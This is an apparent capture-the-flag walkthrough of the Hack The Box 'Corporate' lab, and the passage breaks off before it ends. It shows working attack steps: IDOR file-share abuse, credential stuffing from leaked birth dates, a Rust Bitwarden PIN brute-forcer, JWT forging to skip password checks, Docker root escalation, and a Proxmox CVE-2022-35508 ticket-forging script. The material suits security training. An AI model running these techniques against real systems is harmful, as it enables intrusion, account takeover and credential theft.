This is an network resembling a corporate environment. The web site offers a support chat that is vulnerable to XSS and after exploitation we are able to get an access cookie. Once we have access to an employee dashboard we are able to move laterally by exploiting an IDOR vulnerability on the shared files feature. This allows to get a list of valid usernames and dates of birth, that can be used to craft a list of initial passwords that will be used to bruteforce access to an SSH machine in the internal network and get the user flag. Regarding escalation, first we crack a Bitwarden PIN to get access to an internal Gitea server. Here we find a JWT secret that will allow us to create token to move laterally to another user from the "Engineer" group. This allows to escalate privileges and move laterally to another host, where finally we have to exploit Proxmon's CVE-2022-35508 to escalate to root.
> nmap $target -p- -T4 -Pn --open --reason
Starting Nmap 7.93 ( https://nmap.org ) at 2024-02-14 14:10 EST
Stats: 0:00:57 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan
Connect Scan Timing: About 38.10% done; ETC: 14:13 (0:01:34 remaining)
Nmap scan report for corporate.htb (10.10.11.246)
Host is up, received user-set (0.073s latency).
Not shown: 65534 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE REASON
80/tcp open http syn-ack
Nmap done: 1 IP address (1 host up) scanned in 133.43 seconds
Enumerate the open ports.
> nmap $target -p80 -sV -sC -Pn -vv
Starting Nmap 7.93 ( https://nmap.org ) at 2024-02-14 14:13 EST
Nmap scan report for corporate.htb (10.10.11.246)
Host is up, received user-set (0.12s latency).
Scanned at 2024-02-14 14:13:58 EST for 12s
PORT STATE SERVICE REASON VERSION
80/tcp open http syn-ack OpenResty web app server 1.21.4.3
|_http-title: Corporate.HTB
|_http-server-header: openresty/1.21.4.3
| http-methods:
|_ Supported Methods: GET HEAD
Nmap done: 1 IP address (1 host up) scanned in 12.50 seconds
It seems employee IDs are within the range 5000 – 5100, and by clicking on each employee we get access to the employee personal data, such as email and date of birth.
Our first step will be to get a list of valid employee IDs. For this, prepare a wordlist of sequential numbers from 5000 to 5100.
> seq 5000 5100 > seq
Then capture a request and edit with vim to prepare for ffuf
Next, click on the "Sharing" tab, here you can share your files with any other employee. Just click on the icon and add the email of the user you want to share the file with. Use the email of any of the employees whose cookies we have dumped before, for example Margarette Baumbach.
Click on "Share File" and then log in as Margarette using the previously captured JWT token. Add the token in Burpsuite headers configuration, then reload http://people.corporate.htb/dashboard. Margarette's profile comes into view.
There is a possibility file IDs are granted sequentially, like in IDOR vulnerability, so we can make all files shared with Margarette from Dangelo's profile.
Go back to Dangelo's dashboard (edit the cookie in Burpsuite headers configuration and reload the dashboard). Move to his "Sharing" tab, intercept a sharing request and copy to a file. Then edit the file to fuzz the fileid field. Your request file should look like this.
Generate a wordlist of 300 files and fire the process with ffuf. Since this is a POST request, all hypothetical files with ID from 1 to 300 will be shared with Margarette after each request is completed.
No answer is received but it does not matter, the POST requests have been successfully processed.
Move back to Margarette's profile, verify a huge amount of files are now shared with her. We are interested in fileid=122, a PDF file shared by Callie Goldner called welcome_to_corporate_2023_draft.pdf
Open it, it looks like a template for newcomers welcome document. You can see the password policy for new accounts.
Your default password has been set to “CorporateStarterDDMMYYYY”
If you remember, we had retrieved an employee ID list before. Using these IDs we can extract the date of brith from all employees.
Prepare a list of possible credential pair username-password for a credential stuffing attack.
And use your favorite host discovery script or method to scan the subnet, taking note of the alive hosts.
For example, this is a custom .sh script that pings all IPs in the subnet with nmap and saves the results in the file pingscan
> cat pingscan.sh
############################################################
# #
# usage ./pingscan.sh <IP C subnet> #
# nmap sends TCP SYN to ports 80 and 443 in the subnet #
# alive hosts are saved to file "pingscan" #
# #
############################################################
#!/bin/bash
echo "\nuse with C-class IP subnets: ./pingscan.sh <xxx.xxx.xxx>"
nmap -sn $1.0/24 -oG pingsweep 1> /dev/null
grep Up pingsweep | awk -F " " '{print $2}' > pingscan
rm pingsweep
echo "\nhosts responding to ping in the subnet:\n"
cat pingscan
echo "\nalive hosts saved to 'pingscan'\n"
> ./pingscan.sh 10.8.0
use with C-class IP subnets: ./pingscan.sh <xxx.xxx.xxx>
hosts responding to ping in the subnet:
10.8.0.1
10.8.0.2
alive hosts saved to 'pingscan'
> cat pingscan
10.8.0.1
10.8.0.2
And also use it in the 10.9.0.xxx subnet, since this new route has also been added.
> ./pingscan.sh 10.9.0
use with C-class IP subnets: ./pingscan.sh <xxx.xxx.xxx>
hosts responding to ping in the subnet:
10.9.0.1
10.9.0.4
alive hosts saved to 'pingscan'
We will start by enumerating the discovered hosts. First the IP 10.8.0.1 and then the other 2 hosts in the 10.9.0.xxx subnet.
> nmap 10.8.0.1 -p- -T4 -Pn --open --reason
Starting Nmap 7.93 ( https://nmap.org ) at 2024-02-15 07:54 EST
Nmap scan report for 10.8.0.1
Host is up, received user-set (0.083s latency).
Not shown: 59272 closed tcp ports (conn-refused), 6255 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack
80/tcp open http syn-ack
389/tcp open ldap syn-ack
636/tcp open ldapssl syn-ack
2049/tcp open nfs syn-ack
3004/tcp open csoftragent syn-ack
3128/tcp open squid-http syn-ack
8006/tcp open wpl-analytics syn-ack
Nmap done: 1 IP address (1 host up) scanned in 38.22 seconds
> nmap 10.9.0.1 -p- -T4 -Pn --open --reason
Starting Nmap 7.93 ( https://nmap.org ) at 2024-02-15 07:55 EST
Nmap scan report for 10.9.0.1
Host is up, received user-set (0.11s latency).
Not shown: 58724 closed tcp ports (conn-refused), 6805 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack
80/tcp open http syn-ack
636/tcp open ldapssl syn-ack
3004/tcp open csoftragent syn-ack
3128/tcp open squid-http syn-ack
8006/tcp open wpl-analytics syn-ack
Nmap done: 1 IP address (1 host up) scanned in 33.84 seconds
> nmap 10.9.0.4 -p- -T4 -Pn --open --reason
Starting Nmap 7.93 ( https://nmap.org ) at 2024-02-15 07:58 EST
Nmap scan report for 10.9.0.4
Host is up, received user-set (0.092s latency).
Not shown: 56004 closed tcp ports (conn-refused), 9529 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack
111/tcp open rpcbind syn-ack
Nmap done: 1 IP address (1 host up) scanned in 35.05 seconds
The three hosts have port 22 open.
We will launch a credential stuffing attack with hydra and the list of credentials we crafted before. In a credential stuffing attack not all usernames are tested against all passwords, only the username-password pair.
Trim the credentials.txt file in the format username:password and use the option –C with hydra
Trying the attack in the 3 boxes, finally we find credentials for machine 10.9.0.4.
Log in the host 10.9.0.4 using the credential elwin.jones:CorporateStarter04041987
> ssh elwin.jones@10.9.0.4
The authenticity of host '10.9.0.4 (10.9.0.4)' can't be established.
ED25519 key fingerprint is SHA256:t36qncDFBkdTu3EZGXIaT/FUHaekgWkux2jv0vwl/JU.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.9.0.4' (ED25519) to the list of known hosts.
elwin.jones@10.9.0.4's password:
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-88-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Thu 15 Feb 13:14:05 UTC 2024
System load: 0.0322265625 Processes: 108
Usage of /: 61.7% of 6.06GB Users logged in: 0
Memory usage: 19% IPv4 address for docker0: 172.17.0.1
Swap usage: 0% IPv4 address for ens18: 10.9.0.4
Expanded Security Maintenance for Applications is not enabled.
10 updates can be applied immediately.
8 of these updates are standard security updates.
To see these additional updates run: apt list --upgradable
Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Tue Nov 7 14:36:06 2023 from 10.9.0.1
elwin.jones@corporate-workstation-04:~$
And use this shell to collect the user flag.
ROOT
Start from a low-priv SSH shell as user elwin.jones in host 10.9.0.4 and take the opportunity to enumerate the user and the system.
> whoami && id
elwin.jones
uid=5021(elwin.jones) gid=5021(elwin.jones) groups=5021(elwin.jones),503(it)
> uname -a && cat /etc/os-release
Linux corporate-workstation-04 5.15.0-88-generic #98-Ubuntu SMP Mon Oct 2 15:18:56 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux
PRETTY_NAME="Ubuntu 22.04.3 LTS"
NAME="Ubuntu"
VERSION_ID="22.04"
VERSION="22.04.3 LTS (Jammy Jellyfish)"
VERSION_CODENAME=jammy
ID=ubuntu
ID_LIKE=debian
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
UBUNTU_CODENAME=jammy
> hostname
corporate-workstation-04
Enumerate the home folder, there is a Firefox profile in /home/guests/elwin.jones/.mozilla/firefox/profiles.ini
In order to browse this profile you just need to copy all files into Firefox path /.mozilla/firefox/ tr2cgmb6.default-release. And modify your local profiles.ini to add the new profile.
Then start Firefox, list the profiles with about:profiles and launch the profile in a new browser.
In the new window open the browser history, there are some references to a password manager called Bitwarden. Someone has been investigating if 4 digits are strong enough for a Bitwarden PIN.
Follow the history links and add Bitwarden to Firefox add-ons.
There is an SQLite database inside the profile file system in the path storage/default/moz-extension+++c8dd0025-9c20-49fb-a398-307c74e6f8b7^userContextId=4294967295/idb/3647222921wleabcEoxlt-eengsairo.sqlite
Dump the database using the tool and save it in the file data.json
The data.json file needs to be trimmed in order to be correctly parsed by the script. Replace the word "untitled" by "null" in vim with %s/untitled/null/g
Inspecting the source code (main.rs), you see you need to define the variable XDG_CONFIG_HOME before running the script.
Also, you need to hardcode the path to the data.json in the source code.
In summary: set XDG_CONFIG_HOME, hardcode the path as /htb/corporate/data.jsonand save your file in ~/kali/htb/corporate/data.json
Finally, I also changed the rounds variable to 600000 in the file main.rs to match the variable kdfIterations in the data.json. I cannot confirm if this is necessary since the script takes hours to finish and did not have time to test other values.
All in all, the working script used was this.
use std::env;
use base64::Engine;
use hkdf::Hkdf;
use hmac::{Hmac, Mac};
use pbkdf2::{
password_hash::{PasswordHasher, SaltString},
Params, Pbkdf2,
};
use rayon::prelude::*;
use serde_json::Value;
use sha2::Sha256;
fn main() {
println!("Testing 4 digit pins from 0000 to 9999");
let json: Value = serde_json::from_slice(
&std::fs::read(format!(
"{}/htb/corporate/data.json",
env::var("XDG_CONFIG_HOME").unwrap()
))
.unwrap(),
)
.unwrap();
let email = json[json["activeUserId"].as_str().unwrap()]["profile"]["email"]
.as_str()
.unwrap();
let salt = SaltString::b64_encode(email.as_bytes()).unwrap();
let encrypted = json[json["activeUserId"].as_str().unwrap()]["settings"]["pinProtected"]
["encrypted"]
.as_str()
.unwrap();
let mut split = encrypted.split(".");
split.next();
let encrypted = split.next().unwrap();
let b64dec = base64::engine::general_purpose::STANDARD;
let mut split = encrypted.split("|");
let iv = b64dec.decode(split.next().unwrap()).unwrap();
let ciphertext = b64dec.decode(split.next().unwrap()).unwrap();
let mac = b64dec.decode(split.next().unwrap()).unwrap();
let mut data = Vec::with_capacity(iv.len() + ciphertext.len());
data.extend(iv);
data.extend(ciphertext);
if let Some(pin) = (0..=9999)
.par_bridge()
.filter_map(|pin| {
let pin = format!("{pin:04}");
let password_hash = Pbkdf2
.hash_password_customized(
pin.as_bytes(),
None,
None,
Params {
rounds: 600000,
output_length: 32,
},
&salt,
)
.unwrap();
let hkdf = Hkdf::<Sha256>::from_prk(password_hash.hash.unwrap().as_bytes()).unwrap();
// let mut enc_key = [0; 32];
let mut mac_key = [0; 32];
// hkdf.expand(b"enc", &mut enc_key).unwrap();
hkdf.expand(b"mac", &mut mac_key).unwrap();
let mut mac_verify = Hmac::<Sha256>::new_from_slice(&mac_key).unwrap();
mac_verify.update(&data);
if mac_verify.verify_slice(&mac).is_ok() {
Some(pin)
} else {
None
}
})
.find_any(|_| true)
{
println!("Pin found: {pin}");
} else {
println!("Pin not found");
}
}
Use the pin 0239 to unlock the Bitwarden vault and disclose secrets (login credentials and OTP for http://git.corporate.htb).
Login using the Bitwarden vault, right-click on the username filed and select "bitwarden-auto-fill". Same for the "totp" field. The corporate repos come into view.
Enumerate the private repos, read the code and analyze it.
Important things to notice:
JWT secret is taken from an env variable.
A recent commit has been made to prevent sysdamin password to be changed.
The JWT secret is JWT_SECRET=09cb527651c4bd385483815627e6241bdf40042a
Now you can forge JWT tokens for any user but we need to think which user is more interesting to impersonate. According to Gitea, password reset for sysadmins has been disabled, so maybe they are not the best choice.
If we continue to enumerate the corporate-workstation-04 host at 10.9.0.4 from the elwin.jones SSH shell we find out there is a Docker daemon listening; however, we do not have acces to it, only people from "Engineer" group.
> whoami
elwin.jones
> hostname
corporate-workstation-04
> docker images
permission denied while trying to connect to the Docker daemon socket at unix:///var/run/docker.sock: Get "http://%2Fvar%2Frun%2Fdocker.sock/v1.24/images/json": dial unix /var/run/docker.sock: connect: permission denied
ls -hal /var/run/docker.sock
srw-rw---- 1 root engineer 0 Feb 21 05:04 /var/run/docker.sock
So it is more convenient to impersonate an engineer and escalate privileges with Docker.
Let's find a suitable engineer to impersonate such as her.
Email is dylan.schumm@corporate.htb, birthday 26/02/1967 and ID 5026.
Let's forge a JWT for Dylan Schumm using the previously disclosed JWT secret.
And verify it works by logging into the dashboard.
Although we have the JWT token, we need the SSH password to perform the Docker escalation. With the token we can get to the SSO portal where we can reset Dylan's password; however, to use the password reset feature we need to know the current password.
To understand how passwords are reset, read and analyze the reset-password endpoint in the application source code file app.js
app.post("/reset-password", async (req, res) => {
const CorporateSSO = req.cookies.CorporateSSO ?? "";
// Redirect not validated
const user = validateJWT(CorporateSSO);
if (!user) {
return res.redirect("/login?redirect=%2fservices");
}
const username = `${user.name}.${user.surname}`;
const result = PasswordValidator.safeParse(req.body);
if (!result.success)
return res.redirect("/reset-password?error=" + encodeURIComponent("You must
specify a password longer than 8 characters.
"));
const {
currentPassword,
newPassword,
confirmPassword
} = result.data;
if (user.requireCurrentPassword) {
if (!currentPassword) return res.redirect("/reset-password?error=" +
encodeURIComponent("Please specify your previous password."));
const validateExistingPW = await validateLogin(username, currentPassword);
if (!validateExistingPW) return res.redirect("/reset-password?error=" +
encodeURIComponent("Your current password is incorrect."));
}
if (newPassword !== confirmPassword)
return res.redirect("/reset-password?error=" + encodeURIComponent("The
passwords you specified do not match!"));
const passwordReset = await updateLogin(`${user.name}.${user.surname}`,
newPassword);
if (!passwordReset.success) return res.redirect("/reset-password?error=" +
encodeURIComponent(passwordReset.error));
return res.redirect("/reset-password?success=true");
});
Current passwords are requested during a password reset only if requireCurrentPassword flag is set to True
So we just need to forge a new JWT token with this flag set to False
Use it to log in and navigate to http://sso.corporate.htb for a password reset. Now it can be done without entering the current password.
And with the new password we can open an SSH session as Dylan Schumm.
In order to perform a Docker escalation we need an image but there are no images loaded in the machine. So we need to download an image and import it into the host.
In your Kali machine, pull an Alpine image.
> docker pull alpine
Using default tag: latest
latest: Pulling from library/alpine
38a8310d387e: Pull complete
Digest: sha256:21dc6063fd678b478f57c0e13f47560d0ea4eeba26dfc947b2a4f81f686b9f45
Status: Downloaded newer image for alpine:latest
docker.io/library/alpine:latest
Save it as TAR.
> docker save alpine:latest > alpine.tar
Now move the TAR file to the host with scp, and load the image.
> docker load -i alpine.tar
3e01818d79cd: Loading layer [==================================================>] 8.124MB/8.124MB
Loaded image: alpine:latest
docker images
REPOSITORY TAG IMAGE ID CREATED SIZE
alpine latest 4048db5d3672 4 weeks ago 7.84MB
Now it is possible to perform an escalation running a docker container that will mount host root file system on container's /mnt
> docker run -it -v /:/mnt alpine
Now that we are root we can enumerate further the system files and security configurations, such as the file sssd.conf
We can just su to Amie's account and dump her private key in the home .ssh directory.
The private key does not work for connecting with SSH as amie.torphy at 10.9.0.1. But if you check the /etc/passwd file for alternative usernames, you'll find there is another user called sysadmin
Download them with scp and extract the contents. We are looking for a file authkey.key to exploit the CVE. It is in fact inside the pve-host-2023_04_15-16_09_46.tar.gz package, in the path etc/pve/priv/authkey.key
We can use this key to generate a ticket for the Proxmox API. Just use the PoC described in the blog URL indicated before. After some modifications, the PoC final code is this.
import subprocess
import base64
import tempfile
import logging
import time
logging.basicConfig(format='%(asctime)s - %(message)s', level=logging.INFO)
def generate_ticket(authkey_bytes, username='root@pam', time_offset=-30):
timestamp = hex(int(time.time()) + time_offset)[2:].upper()
plaintext = f'PVE:{username}:{timestamp}'
authkey_path = tempfile.NamedTemporaryFile(delete=False)
logging.info(f'Writing authkey to {authkey_path.name}')
authkey_path.write(authkey_bytes)
authkey_path.close()
txt_path = tempfile.NamedTemporaryFile(delete=False)
logging.info(f'Writing plaintext to {txt_path.name}')
txt_path.write(plaintext.encode('utf-8'))
txt_path.close()
logging.info('Calling OpenSSL to sign')
sig = subprocess.check_output(
['openssl', 'dgst', '-sha1', '-sign', authkey_path.name, '-out', '-', txt_path.name]
)
sig = base64.b64encode(sig).decode('latin-1')
ret = f'{plaintext}::{sig}'
logging.info(f'Generated ticket for {username}: {ret}')
return ret
with open("./authkey.key", "rb") as keyfile:
generate_ticket(keyfile.read())
Run it to get a ticket.
Now forward the Proxmox web service running on port 8006 to your Kali machine.
Additionally, according to documentation we need a CSRF token for any API interaction. It can be we extracted from a server response to any generic curl request.
